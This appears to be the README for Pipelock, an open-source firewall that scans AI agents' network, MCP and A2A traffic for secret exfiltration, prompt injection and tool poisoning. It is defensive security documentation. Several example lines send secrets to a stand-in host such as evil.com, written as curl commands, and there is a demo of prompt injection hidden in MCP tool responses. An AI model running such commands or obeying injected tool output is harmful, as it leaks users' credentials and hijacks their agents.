Skip to main content
Glama

Pipelock sits between AI agents and the network. It inspects mediated HTTP, WebSocket, MCP, and A2A traffic, plus CONNECT tunnel contents when TLS interception is enabled, for secret exfiltration, prompt injection, SSRF, tool poisoning, and risky tool-call chains. Plain CONNECT without interception is scanned at the hostname and URL level.

Pipelock emits mediator-signed action receipts over content-aware boundary decisions, so a reviewer can verify what Pipelock decided outside the agent runtime. The public agent-egress-bench corpus exercises the detections. Learn more: Open-source AI firewall.

Works with: Claude Code · OpenAI Codex · Cline · OpenCode · Zed · Cursor · VS Code · JetBrains · OpenAI Agents SDK · Google ADK · AutoGen · CrewAI · LangGraph


The Problem

Your AI agent has $PROVIDER_API_KEY in its environment, plus shell access. One request can leak it:

curl "https://evil.com/steal?key=$PROVIDER_API_KEY"   # game over, unless pipelock is watching

Every machine action your agent takes should cross a boundary between your secrets and the open internet. Pipelock becomes that boundary when the agent is routed through its proxy, MCP wrapper, sandbox, host containment model, or cluster deployment topology. It scans mediated outbound and inbound traffic, blocks or flags attacks based on mode, and records signed evidence of the decision.


Related MCP server: guardrails-mcp-server

Verify It Yourself

Most agent-security tools ask you to trust their dashboard. Pipelock hands you a signed receipt and lets you check it yourself, offline, with a key you hold. No account and no server.

The built-in demo fires real attack scenarios, blocks them, and writes signed receipts plus the public key to disk with no config and no network:

pipelock demo --receipts-dir ./out                                   # runs attack scenarios, writes 7 signed receipts + signer.pub
pipelock verify-receipt "$(ls ./out/*.json | head -1)" --key ./out/signer.pub  # check a signature yourself (each receipt is <action-id>.json)

The scorecard grades each claim on its own and states what it does not prove: whether anything happened outside the boundary Pipelock mediates. Below it, the receipt timeline lists the recorded mediated decisions with their verdicts and hash links. A receipt that is honest about its own limits beats a green checkmark that hides them.

The evidence viewer is free and needs no license:

pipelock evidence serve --receipt-dir ./out   # read-only HTML report for one recorded session
pipelock evidence view --receipt-dir ./out    # static offline report, no server

Two honesty notes, stated up front. The demo signs with an ephemeral key it prints for the run, which proves the receipts are self-consistent rather than tied to a named identity. The public Pipelock playground is a separate path that verifies against a key Pipelock publishes. And the operator running Pipelock holds the signing key, so a receipt proves what the boundary decided and that the key holder signed it, not that the operator is honest. pipelock anchor receipts records receipt-chain checkpoints to a local backend or a Rekor transparency log for later audit, and operator-independent verification against that anchor is still being proven end to end.

The full argument for why proof beats promises is in demonstration over attestation.


Quick Start

# Install from source (Go 1.25+)
go install github.com/luckyPipewrench/pipelock/cmd/pipelock@latest

# Set up local agent integrations and generate a config
pipelock init

# Test the scanner
pipelock check --url "https://evil.com/?k=AKIAIOSFODNN7EXAMPLE"  # blocked: AWS Access ID
pipelock check --url "https://docs.python.org/3/"                # allowed
# Download a binary
# See https://github.com/luckyPipewrench/pipelock/releases

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest

# Homebrew on macOS
brew install luckyPipewrench/tap/pipelock
gh attestation verify pipelock_3.3.0_linux_amd64.tar.gz --owner luckyPipewrench
gh attestation verify oci://ghcr.io/luckypipewrench/pipelock:v3.3.0 --owner luckyPipewrench

Release workflows publish SLSA provenance, CycloneDX SBOMs, checksums, and signed container images. Source builds with go install produce a Community-only binary; pre-built release artifacts include paid-tier code that activates with a valid license key.


See It In Action

The Pro/Enterprise operator dashboard (pipelock dashboard serve) is a read-only console over signed evidence. It supports token, OIDC, or mTLS authentication; bounded RBAC permissions; redacted metadata views; raw-view elevation; exemption lifecycle records; backup and restore; coverage certificates; and fleet views. It is present in enterprise-tagged builds and release artifacts with the required license feature.

The free single-session evidence viewer shown above is separate. It needs no license and has no cross-agent enumeration.

pipelock report --input events.jsonl generates HTML, JSON, or signed bundle reports with risk rating, timeline, event categories, and an evidence appendix. The free Prometheus and Grafana path monitors one Pipelock instance and is distinct from the Enterprise Conductor fleet control plane.


What It Catches

Measured against a public, reproducible benchmark

agent-egress-bench runs a corpus of agent-exfiltration and prompt-injection attacks against Pipelock, or against any other tool. The numbers come from a run anyone can repeat, not a claim.

See the live results · Run it yourself

Pipelock runs in three modes:

Mode

Security

Web Browsing

Use Case

strict

Allowlist-only

None

Regulated industries, high-security

balanced

Blocks naive + detects sophisticated

Via fetch or forward proxy

Most developers (default)

audit

Logging only

Unrestricted

Evaluation before enforcement

For agents running uncensored or abliterated models, the hostile-model preset layers defenses on strict mode: aggressive entropy thresholds, blanket network-tool blocking, session binding, cross-request exfiltration detection, and a pre-configured kill switch. pipelock audit recommends this preset when it detects known guardrail-removal toolchains through dependency signals.

Attack Vector

Strict

Balanced

Audit

curl evil.com -d $SECRET

Prevented

Prevented

Logged

Secret in URL query params

Prevented

Detected by DLP

Logged

Base64-encoded secret in URL

Prevented

Detected by entropy and decoded DLP

Logged

DNS tunneling

Prevented

Detected by subdomain entropy

Logged

Chunked exfiltration

Prevented

Detected by rate, budget, and fragment checks

Logged

Public-key encrypted blob in URL

Prevented

Logged when entropy flags it

Logged

Honest assessment: Strict mode blocks outbound HTTP that traverses Pipelock except allowlisted API domains, so there is no exfiltration channel through the proxy itself. Balanced mode raises the bar from "one curl command" to "sophisticated pre-planned attack." Audit mode gives you visibility you don't have today. With the sandbox enabled (pipelock sandbox) or the host/cluster containment topology enforced, Pipelock adds an OS or deployment boundary on top of content inspection. Direct egress still has to be blocked by that boundary for non-cooperative tools that ignore proxy settings.

Comparison

Pipelock

Scanners (agent-scan)

Sandboxes (srt)

Kernel agents (agentsh)

Secret exfiltration prevention

Strict blocks; balanced detects

Partial (proxy mode)

Partial (domain-level)

Yes

DLP + entropy analysis

Yes

No

No

Partial

Prompt injection detection

Yes

Yes

No

No

MCP scanning (bidirectional + tool poisoning)

Yes

Yes

No

No

WebSocket proxy (frame scanning)

Yes

No

No

No

MCP HTTP transport (Streamable HTTP)

Yes

No

No

No

Emergency kill switch (6 sources)

Yes

No

No

No

Tool call chain detection

Yes

No

No

No

Process sandbox (no Docker)

Yes

No

No

Yes (kernel-level)

Single binary, zero deps

Yes

No (Python)

No (npm)

No (kernel)

Reference matrix: docs/comparison.md

Canonical comparison hub: AI runtime security comparison

Threat

Coverage

ASI01 Agent Goal Hijack

Strong: bidirectional MCP + response scanning

ASI02 Tool Misuse

Partial: proxy as controlled tool, MCP scanning

ASI03 Identity & Privilege Abuse

Strong: capability separation + SSRF protection

ASI04 Supply Chain Vulnerabilities

Partial: integrity monitoring + MCP scanning

ASI05 Unexpected Code Execution

Moderate: HITL approval, fail-closed defaults

ASI06 Memory & Context Poisoning

Moderate: injection detection + session taint propagation

ASI07 Insecure Inter-Agent Communication

Partial: MCP/A2A scanning, agent ID, integrity, signing

ASI08 Cascading Failures

Moderate: fail-closed architecture, rate limiting

ASI09 Human-Agent Trust Exploitation

Partial: HITL modes, audit logging

ASI10 Rogue Agents

Strong: domain allowlist + rate limiting + capability separation

Details, config examples, and gap analysis: docs/owasp-mapping.md


What It Does

Pipelock is an AI egress proxy and MCP security control. It sits inline between your AI agent and the network, scans outbound and inbound traffic, and emits signed receipts plus mediation metadata for attestation outside the agent runtime. AARP/SVID workload-identity appraisal is verifier-side today: the proxy and MCP runtimes do not consume SVID evidence in live allow/deny decisions or bind receipt actor identity from an X.509-SVID.

Detection And Scanning

  • Ordered URL scanner pipeline: URL length and parsing checks, scheme validation, CRLF and path-traversal detection, allowlist and blocklist policy, immutable literal-IP SSRF and core-DLP floors, configured DLP, path and subdomain entropy analysis, DNS SSRF and rebinding protection, per-domain rate limits, data budgets, and final context checks. DLP runs before DNS resolution, so secrets are caught before a DNS query leaves the proxy. See docs/bypass-resistance.md.

  • DLP: 65 built-in patterns for API keys, tokens, credentials, cryptocurrency keys, environment secrets, and financial identifiers with checksum validation. BIP-39 seed phrase detection uses dictionary lookup, sliding windows, and SHA-256 checksum validation.

  • Response scanning: 33 built-in prompt-injection and state/control poisoning patterns, plus 6-pass normalization for zero-width characters, homoglyphs, leetspeak, optional whitespace, vowel folding, base64, and hex. Actions are block, strip, warn, or ask.

  • Streaming SSE: text/event-stream responses from LLM gateways and MCP HTTP/SSE flow token by token with per-event and rolling cross-event DLP and injection scanning. A detection terminates the stream fail-closed. See SSE streaming guide.

  • Request body scanning: headers and bodies are scanned before they leave the protected path across JSON, form data, raw text, reverse proxy requests, TLS-intercepted CONNECT traffic, and outbound WebSocket client frames.

  • Request redaction: optional JSON rewriting replaces matched secret values with typed placeholders such as <pl:aws-access-key:1> across HTTP, WebSocket, and MCP tools/call arguments. Receipts record the active profile and per-class counts instead of plaintext secrets.

  • Address protection: ETH, BTC, SOL, and BNB address validation catches lookalike destination swaps using prefix/suffix fingerprinting and an operator allowlist.

  • Explainable findings: pipelock explain <url> (also explain event <id> and explain mcp) prints the scanner, layer, matching rule, inspected surface, and the narrowest available config knob for a false positive. See docs/cli/explain.md.

  • Canary tokens: pipelock canary generates honeytoken config. A synthetic secret showing up in outbound traffic proves an agent or something in its chain is exfiltrating environment variables. See canary tokens.

  • Skill-file scanning: pipelock skill-scan inventories agent skill files, compares them to an operator-owned lock file, and flags source-to-sink combinations such as credential-to-network-sink or shell-to-write with line evidence before anything runs. See docs/cli/skill-scan.md.

MCP Security

Pipelock wraps MCP servers with bidirectional scanning:

# Wrap a local MCP server over stdio
pipelock mcp proxy --config pipelock.yaml -- npx -y @modelcontextprotocol/server-filesystem /tmp

# Bridge a stdio client to a remote Streamable HTTP server
pipelock mcp proxy --upstream http://localhost:8080/mcp

# Run the HTTP proxy and an MCP HTTP listener together
pipelock run --config pipelock.yaml --mcp-listen 127.0.0.1:8889 --mcp-upstream http://localhost:3000/mcp
  • Input scanning: MCP client requests are checked for DLP leaks and injection in tool arguments.

  • Response scanning: server responses are scanned before the agent sees them.

  • Tool poisoning: tools/list descriptions are checked for hidden instructions and mid-session rug-pull changes.

  • Tool policy: 17 built-in rules block destructive file deletes, credential access, reverse shells, persistence mechanisms, encoded command execution, and related high-risk tool calls before execution.

  • Tool call chains: 10 built-in category-axis patterns detect reconnaissance, credential theft, data staging, persistence, exfiltration, and callback chains with configurable gap tolerance.

  • A2A inspection: Google Agent-to-Agent protocol traffic is inspected on the forward and MCP paths; Pipelock is not a standalone A2A proxy.

  • Authenticated MCP HTTP listeners (v3.2.0): non-loopback MCP listeners fail closed by default and require --mcp-auth-token-file, or an explicit --mcp-allow-unauthenticated for network-policy-isolated deployments. Tokenless loopback listeners reject DNS-rebound and wrong-port Host authorities and scrub listener credentials from headers.

Containment

Unprivileged process containment uses OS-native primitives. Linux uses Landlock, seccomp, and network namespaces. macOS uses sandbox-exec profiles. In containers, --best-effort keeps Landlock and seccomp when namespace creation is restricted, while network scanning uses proxy-based routing.

pipelock sandbox --config pipelock.yaml -- python agent.py
pipelock sandbox --best-effort -- python agent.py
pipelock mcp proxy --sandbox --config pipelock.yaml -- npx server

Host containment goes further on Linux:

pipelock contain install
pipelock contain verify
pipelock contain run -- claude-code

pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh manages a 3-UID operator / proxy / agent model with nftables owner-match routing, systemd service setup, wrapper commands, workspace ACLs, CA refresh, and posture evidence. See docs/contain-cli.md.

Evidence And Receipts

  • Flight recorder: per-writer hash-chained JSONL evidence with Ed25519-signed checkpoints and DLP redaction. pipelock init provisions a recorder directory and signing key for stock installs. Recording needs a directory, and because checkpoint signing is on by default it also needs a signing key; set sign_checkpoints: false for an explicitly unsigned hash-chained recorder. Use pipelock evidence doctor DIR to detect structural damage in an evidence directory. See Flight Recorder.

  • Action receipts: signed records emitted for mediated actions, carrying verdict, policy hash, transport, and scanner layer. Blocks produce receipts; allow-path receipt enforcement requires flight_recorder.require_receipts. Verify with pipelock verify-receipt --key <signer.pub>. Unpinned runs are structural-only and exit non-zero unless --allow-unpinned is passed.

  • Mediation envelope: RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with action type, verdict, actor identity, policy hash, taint context, and receipt correlation ID. See federation guide.

  • Receipt conformance: four independent cross-language verifier implementations (Go, TypeScript, Rust, and Python) run against one shared conformance corpus, including malformed and forgeable inputs such as duplicate keys, integer overflow, and unpaired surrogates. A browser wasm surface reuses the Go verifier implementation. AARP/SVID appraisal remains an offline verifier profile, not runtime identity enforcement.

  • Anchors: pipelock anchor receipts records receipt-chain checkpoints to a local backend or Rekor. Rekor anchoring is proof material for later audit; Rekor verification requires pinned log keys and the end-to-end operator-independence path is still being proven.

  • Posture capsule: pipelock posture emit and pipelock posture verify produce and check a signed snapshot of a deployment's enforcement posture, with a CI gate and scoring model, so a reviewer can confirm the boundary was configured the way it claims.

Fleet And Enterprise

  • Operator dashboard: pipelock dashboard serve is a read-only console over signed evidence. Pro unlocks the Overview, Evidence, Exemptions, Agents, Budgets, and Trust & Keys views; Enterprise adds the Fleet, Workbench, and Incident views. See docs/cli/dashboard.md.

  • Free evidence viewer: pipelock evidence serve and pipelock evidence view render one selected recorder session without a license or cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.

  • Conductor: Enterprise fleet control plane for signed policy-bundle distribution, signed evidence sink (pipelock fleet-sink), enrollment, remote kill, rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Followers enforce locally; the default stale-policy mode engages an independent deny source after its grace window, while the documented continue_last_known_good override weakens that posture. Conductor holds no agent secrets. See the Conductor guide.

  • Legal hold: pipelock dashboard legal-hold add/list/release manages preservation holds as compliance metadata kept outside the dashboard's HTTP authority, so a compromised dashboard can read holds but never forge or delete them.

  • Behavioral baseline: profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.

Operability

  • Kill switch: six independent activation sources: config file, remote API, SIGUSR1, sentinel file, Conductor remote kill, and stale-bundle detection. Any one active source blocks traffic, with endpoint and IP exemptions in the controller.

  • Scan API: programmatic scanning for url, dlp, prompt_injection, and tool_call verdicts with bearer token auth, per-token rate limiting, structured findings, and Prometheus metrics. See docs/scan-api.md.

  • Filesystem sentinel: watches agent working directories for secrets written to disk and attributes writes to the MCP subprocess lineage on Linux. See docs/guides/filesystem-sentinel.md.

  • Event emission: forwards audit events to SIEMs, webhook receivers, syslog, CEF, OTLP, and metrics outputs without blocking the proxy hot path. See docs/guides/siem-integration.md.

  • Security assessment: pipelock assess init, pipelock assess run, and pipelock assess finalize orchestrate attack simulation, config scoring, install verification, and MCP discovery into a reproducible evidence bundle. Critical exposures such as unprotected MCP servers cap the grade regardless of numeric score. The free summary shows your grade, section scores, and top findings; a license unlocks the full report with server-specific findings, remediation commands, and Ed25519-signed evidence.

Feature

What It Does

Audit Reports

pipelock report --input events.jsonl generates HTML/JSON/bundle reports with risk rating, timeline, and evidence appendix. Ed25519 signing with --sign. (Sample report)

Diagnose

pipelock diagnose runs 7 local checks to verify your config end to end with no network.

Enforcement Doctor (v2.5)

pipelock doctor reports configured-vs-enforceable status for proxying, TLS interception, request-body scanning, Browser Shield, MCP wrapping, MCP binary integrity, tool provenance, file_sentry, Sentry, and deployment-boundary signals.

Request Body Injection Blocking (v2.5)

Request-body prompt-injection and critical-DLP findings hard-block non-provider destinations in enforce mode across forward, reverse, TLS-intercept, and WebSocket transports, with block-reason headers for operator-visible diagnosis.

Request Policy (v2.6)

Allow-by-default deny/warn rails on outbound API operations: match route plus GraphQL operation predicates, recurse into JSON $batch envelopes, fail closed on unparseable or opaque bodies, and run before the contract gate. See the request policy guide.

TLS Interception

Optional CONNECT tunnel MITM: decrypt, scan bodies/headers/responses, re-encrypt. pipelock tls init generates a CA, then pipelock tls install-ca prints platform trust-store install steps.

Block Hints

Opt-in explain_blocks: true adds fix suggestions to blocked responses.

Project Audit

pipelock audit ./project scans for security risks and generates a tailored config.

Config Scoring (v2.6)

pipelock audit score --config pipelock.yaml evaluates security posture across 23 categories with a 170-point budget and letter grade.

File Integrity

SHA256 manifests detect modified, added, or removed workspace files.

Git Protection

git diff | pipelock git scan-diff catches secrets before commit.

Ed25519 Signing

Key management, file signing, and signature verification for multi-agent trust.

Session Profiling

Per-session behavioral analysis for domain bursts and volume spikes.

Adaptive Enforcement

Per-session threat score with escalation from warn to block, de-escalation timers, and domain burst detection.

Adaptive Operator CLI (v2.5)

pipelock adaptive status / flush / whoami exposes runtime adaptive state through the authenticated admin API. See docs/cli/adaptive.md.

Finding Suppression

Silence known false positives through config rules or inline pipelock:ignore comments.

Multi-Agent Support

Agent identification through X-Pipelock-Agent header for per-agent filtering.

Fleet Monitoring

Per-instance Prometheus metrics plus ready-to-import Grafana dashboard. Free single-instance monitoring, distinct from Conductor.

Operator Dashboard (v3.1, Pro/Enterprise)

pipelock dashboard serve gives read-only Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys, Fleet, Workbench, and Incident views with token, OIDC, or mTLS auth, bounded RBAC, raw-view elevation, backup/restore, exemption lifecycle records, and coverage certificates. See docs/cli/dashboard.md.

Free Evidence Viewer (v3.1)

pipelock evidence serve serves one selected recorder session as a read-only HTML report without a license and without cross-agent enumeration. pipelock evidence verify-cert verifies Pro-issued coverage certificates offline.

Conductor: fleet control plane (v2.7, Enterprise)

Signed policy-bundle distribution, signed-evidence audit sink (pipelock fleet-sink), enrollment, remote kill, policy rollback, dry-run, decision replay, and runtime/apply-state drift preflight over mTLS/SPIFFE. Gated by the fleet license feature; stale-policy behavior is explicit and defaults to strict deny. See the Conductor guide.

A2A Scanning

Agent Card poisoning detection, card drift monitoring, and session smuggling prevention for Google's Agent-to-Agent protocol on forward/MCP paths.

Behavioral Baseline

Profile-then-lock for MCP tool behavior with pipelock baseline list/show/ratify/forget for operator approval and relearning. See docs/cli/baseline.md.

Denial-of-Wallet

Per-agent MCP budgets for total tool calls, same-tool retries, loop/cycle detection, and wall-clock duration.

Taint Escalation

Exposure-based policy escalation across MCP and task boundaries until trust is restored.

Mediation Envelope

RFC 8941 sideband metadata on forwarded HTTP requests and MCP _meta, with inbound verification, replay protection, SPIFFE actor format, and an RFC 9421 signing-key directory. See federation guide.

Receipt Conformance

Cross-implementation receipt verification suite (sdk/conformance/) across independent Go, TypeScript, Rust, and Python implementations, plus a browser wasm surface backed by Go. EvidenceReceipt v2 uses RFC 8785/JCS canonicalization. AARP/SVID appraisal remains offline verifier-side.

Learn-and-Lock (v2.4)

Per-agent behavioral contracts: observe traffic, compile a signed candidate contract, replay captured observations in shadow, ratify per rule, promote the signed active manifest, and enforce live on URL-bearing transports plus MCP tool calls. See learn-and-lock guide.

Block-Reason Header (v2.4)

X-Pipelock-Block-Reason on HTTP-capable block paths, with the same reason vocabulary on MCP JSON-RPC error metadata. See block-reason header.

Wedge-Detection Watchdog (v2.4)

health_watchdog returns /health 503 when a subsystem heartbeat goes stale. See health endpoint guide.

Redaction Provider Plugin Shape (v2.4)

First-party redaction parsers for Anthropic, OpenAI, and Gemini chat APIs, with a provider-plugin shape for third-party parsers.

Audit Packet v0 Schema + Verifiers (v2.5)

First-party canonical Audit Packet schema with Go, TypeScript, and Rust verifier implementations, plus standalone pipelock-verifier CLI. Schema lives under sdk/audit-packet/; verifier packages live under sdk/verifiers/.

Host Containment Lifecycle (v2.5)

pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh manages the 3-UID containment model. See docs/contain-cli.md.

MCP Integrity Manifests (v2.5)

pipelock mcp integrity manifest generate / verify / sign / verify-signature pins MCP server binaries/scripts by hash and can require a trusted manifest signature before subprocess launch. See docs/cli/mcp-integrity.md.

Kubernetes MCP Launcher Contract (v2.5)

pipelock init sidecar --mcp-upstream emits companion listener configuration, service port, workload annotations, NetworkPolicy allowance, PIPELOCK_MCP_PROXY_URL, and mounted PIPELOCK_MCP_CONFIG. See docs/cli/init-sidecar.md.

Federation Strict Mode (v2.5)

Inbound mediation-envelope verification requires SPIFFE-format actors by default, contract tombstones are enforced, and pipelock envelope trust add/list/remove/verify manages local trust. See federation guide.

Media Policy

Strips steganographic metadata from JPEG/PNG, rejects audio/video by default, hardens SVG active content, and enforces image size limits. See Media Policy.

Compliance Mappings

OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act, and procurement/audit mappings.


Free, Pro, and Enterprise

All detection, enforcement, containment, and single-agent evidence is free forever under Apache 2.0. Paid tiers add multi-agent coordination (Pro) and fleet governance plus compliance (Enterprise).

Capability

Free

Pro

Enterprise

Scanning and detection (ordered URL pipeline, DLP, injection, SSRF, streaming SSE, redaction, address protection)

Yes

Yes

Yes

MCP and A2A scanning (input, response, tool policy, tool chain, poisoning, integrity, authenticated listeners)

Yes

Yes

Yes

Containment, sandbox, host contain, 6-source kill switch

Yes

Yes

Yes

Action receipts, flight recorder, anchors, free evidence viewer, verify-cert, standalone verifier

Yes

Yes

Yes

Canary tokens, skill-scan, explain, single-instance Prometheus and Grafana

Yes

Yes

Yes

Per-agent profiles: identity, budgets, config and scanner isolation, per-agent sandbox

No

Yes

Yes

Per-agent routing by source CIDR and network selector

No

Yes

Yes

Operator dashboard: Overview, Evidence, Exemptions, Agents, Budgets, Trust & Keys

No

Yes

Yes

Per-agent coverage certificates

No

Yes

Yes

Legal hold and compliance metadata

No

Yes

Yes

Conductor fleet control plane, fleet-sink audit sink, remote kill, rollback, decision replay, drift preflight

No

No

Yes

mTLS follower enrollment and roster-verified signed policy distribution

No

No

Yes

Dashboard fleet views: Fleet, Workbench, Incident

No

No

Yes

The signed pipelock assess report is a separate assess entitlement, independent of Pro and Enterprise. The free assess grade is unchanged.


How It Works

Pipelock uses capability separation: in an enforced deployment, the agent process has secrets but no direct network access. Pipelock has network access but no agent secrets. Even if the agent gets prompt-injected, it can't reach the firewall's controls.

Three HTTP proxy modes (same port), plus a dedicated MCP proxy and A2A inspection on the forward and MCP paths:

  • Fetch proxy (/fetch?url=...): Fetches the URL, extracts text, scans for injection, returns clean content.

  • Forward proxy (HTTPS_PROXY): Standard HTTP CONNECT tunneling without application code changes. Proxy configuration is still required. Optional TLS interception enables payload scanning.

  • WebSocket proxy (/ws?url=ws://...): Bidirectional frame scanning with DLP + injection detection.

  • MCP proxy (pipelock mcp proxy): Wraps stdio or HTTP MCP servers with bidirectional scanning.

  • A2A inspection: Inspects Google Agent-to-Agent protocol traffic as it crosses the forward and MCP paths.

Pipelock capability separation: agent traffic is scanned by the firewall before reaching internet services

┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE                                          │
│                                                          │
│ AI Agent                                                 │
│ - API keys, credentials, private code and context        │
│ - Network-isolated by deployment                         │
└────────────────────────────┬─────────────────────────────┘
                             │ mediated request
                             │ fetch / CONNECT / WS / MCP / A2A
                             ▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE                                            │
│                                                          │
│ Pipelock Agent Firewall                                  │
│ - Destination: URL, SSRF, and DNS checks                 │
│ - Data: DLP, secret detection, and budgets               │
│ - Content: prompt injection and tool poisoning           │
│ - Policy: allow, block, or redact                        │
│ - No agent secrets                                       │
└────────────────────────────┬─────────────────────────────┘
                             │ approved request
                             ▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET                                                 │
│                                                          │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘

Internet -- response --> Pipelock -- scanned content --> AI Agent

Configuration

Generate a config from a built-in preset, or let pipelock audit tailor one to your project:

pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml

CLI Preset

Mode

Action

Best For

balanced

balanced

warn

General purpose (default)

strict

strict

block

High-security, regulated industries

audit

audit

warn

Log-only evaluation

claude-code

balanced

block

Claude Code unattended

cursor

balanced

block

Cursor IDE

generic-agent

balanced

warn

New agents during tuning

hostile-model

strict

block

Uncensored/abliterated models

Config changes are picked up through file watcher or SIGHUP. Full reference: docs/configuration.md

For false positive tuning: docs/false-positive-tuning.md


Integration Guides

  • Claude Code: MCP proxy setup, .claude.json configuration

  • OpenAI Codex: MCP proxy wrapping, forward proxy, sandbox integration

  • Cline: MCP proxy wrapping for Cline's mcp.json

  • OpenCode: MCP proxy wrapping for OpenCode's local and remote MCP servers

  • Zed: MCP proxy wrapping for Zed's context_servers block in settings.json

  • OpenAI Agents SDK: MCPServerStdio, multi-agent handoffs

  • Google ADK: McpToolset, StdioConnectionParams

  • AutoGen: StdioServerParams, mcp_server_tools()

  • CrewAI: MCPServerStdio wrapping, MCPServerAdapter

  • LangGraph: MultiServerMCPClient, StateGraph

  • Hermes: full-plugin coverage or lighter MCP-only wrapping for Nous Research's agent, with auth-header sidecar preservation

  • JetBrains/Junie: MCP proxy wrapping for IntelliJ, PyCharm, GoLand (walkthrough)

  • Cursor: pipelock cursor install registers Pipelock as a Cursor hook for shell execution, MCP tool calls, and file reads; use --config to embed a validated policy path and pipelock cursor remove to remove Pipelock-managed hooks. You can also use configs/cursor.yaml with the same MCP proxy pattern as Claude Code (walkthrough)

  • VS Code: pipelock vscode install rewrites .vscode/mcp.json to route every MCP server through the MCP proxy; --global targets the user-level mcp.json

  • OpenClaw: gateway sidecar, init container, config wrapping

  • Any other MCP client: pipelock generate mcporter reads any JSON file with a top-level mcpServers object and wraps every server through Pipelock's proxy, so a client that is not on the list above still routes through scanning in one command.


Deployment

# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
  ghcr.io/luckypipewrench/pipelock:latest \
  run --config /config/pipelock.yaml --listen 0.0.0.0:8888

# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up

# Kubernetes with Helm
helm install pipelock charts/pipelock/

Production recipes for Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, and macOS PF: docs/guides/deployment-recipes.md


CI Integration

# .github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2
  with:
    scan-diff: 'true'
    fail-on-findings: 'true'

The action downloads a pre-built binary, runs pipelock audit, scans the PR diff for leaked secrets, and uploads the audit report as a workflow artifact. See examples/ci-workflow.yaml for a complete workflow.

Runnable Demo: Tool-Response Injection

The examples/tool-response-injection/ harness runs an end-to-end demo where an MCP tool with a harmless name and description hides a prompt-injection payload in its response. Pipelock blocks the response before it reaches the agent and emits signed action receipts that a third party can verify. The same demo runs against three transports with one shared signing key:

  • MCP stdio

  • MCP HTTP upstream

  • HTTP fetch

cd examples/tool-response-injection
python3 demo.py    # needs python3 + cryptography + pipelock on PATH

Community Rules

Detection you can extend, share, and ship faster than the core binary.

Pipelock's built-in DLP, injection, and tool-poison detection is strong out of the box. Community rule bundles let you go further: add your own patterns for the exfiltration shapes, secret formats, and injection tricks your stack sees, sign them, and ship them on a cadence you control instead of waiting for a release.

Install the official bundle in one line:

pipelock rules install pipelock-community

Rule bundles are signed and version-locked. The full lifecycle is a shipped command, not a config edit:

pipelock rules list                    # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify                  # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community

Write your own. A rule is a small YAML entry with a name, a category (DLP, injection, or tool-poison), and a pattern. Sign it with your key, drop it in a bundle, and every Pipelock instance you run picks it up. Share it with the community and it protects everyone else too.

Contribute a rule to the public pipelock-rules bundle, or read docs/rules.md to build and sign your own.


Docs

Full docs directory: docs/

Document

What's In It

Configuration Reference

All config fields, defaults, hot-reload behavior, presets

Request Policy

Allow-by-default deny/warn rails on outbound API operations (GraphQL / discriminator / batch), fail-closed (v2.6)

Request Redaction

JSON request rewriting across HTTP, WebSocket, and MCP transports

False Positive Tuning

Identifying, suppressing, and tuning scanner findings

Scan API

Evaluation endpoint for programmatic scanning

Deployment Recipes

Docker Compose, K8s sidecar, iptables, macOS PF

pipelock doctor

Configured-vs-enforceable deployment diagnostics for proxy, TLS, MCP, file_sentry, telemetry, and containment signals

pipelock dashboard

Operator dashboard setup: auth modes, RBAC permissions, evidence, exemptions, budgets, trust and keys, fleet views, backup/restore, and coverage certificates

pipelock verify-install

Deterministic scanning, local proof, and direct-egress smoke checks

pipelock update

Verified self-update: signed release manifest, checksum verification, optional cosign cross-check, atomic install, rollback

Bypass Resistance

Known evasion techniques, mitigations, limitations

Known Attacks Blocked

Real attacks with repro snippets

SIEM Integration

Log schema, CEF/syslog output, durable Enterprise forwarding, lifecycle, metrics, SIEM queries

Metrics Reference

Prometheus metric families, labels, JSON stats, and alert rules

Community Rules

Install, configure, and create signed rule bundles

Security Assurance

Security model, trust boundaries, supply chain

Security Documents

Disclosure policy, unsupported paths, key rotation, TLS CA and Audit Packet threat models

Enterprise Readiness

Shipped enterprise controls, evaluation path, deployment decisions, and explicit boundaries

Reproducible Builds

Byte-for-byte OSS binary check, stable inputs, release integration, and scope

Finding Suppression

Rule names, path matching, inline comments

Transport Modes

All proxy modes and their scanning capabilities

OWASP MCP Top 10

OWASP MCP Top 10 coverage

OWASP Agentic Top 15

OWASP Agentic AI Top 15 coverage

OWASP LLM Top 10

OWASP Top 10 for LLM Applications (2025) coverage

EU AI Act

EU AI Act compliance mapping

NIST 800-53

NIST SP 800-53 Rev. 5 controls mapping

Assess Mapping

Maps runtime controls to the frameworks pipelock assess produces evidence against, for procurement and audit review

Policy Spec v0.1

Portable agent firewall policy format

Mediation Envelope

Sideband metadata headers, config, interaction with receipts

Media Policy

Stego stripping, SVG hardening, allowed types, size limits

Evidence Terminology

Quick reference for ActionReceipt, EvidenceReceipt, flight recorder, checkpoints, anchors, coverage certificates, and Audit Packets, with the integrity-vs-completeness and pinned-vs-unpinned distinctions

Receipt Verification

pipelock verify-receipt, Fleet Receipt Report verification, standalone pipelock-verifier, conformance suite, chain integrity

Receipt Spec Profiles

in-toto attestation predicate for action receipts, with companion SCITT and AARP profiles and prior-art mapping

Audit Packet Threat Model

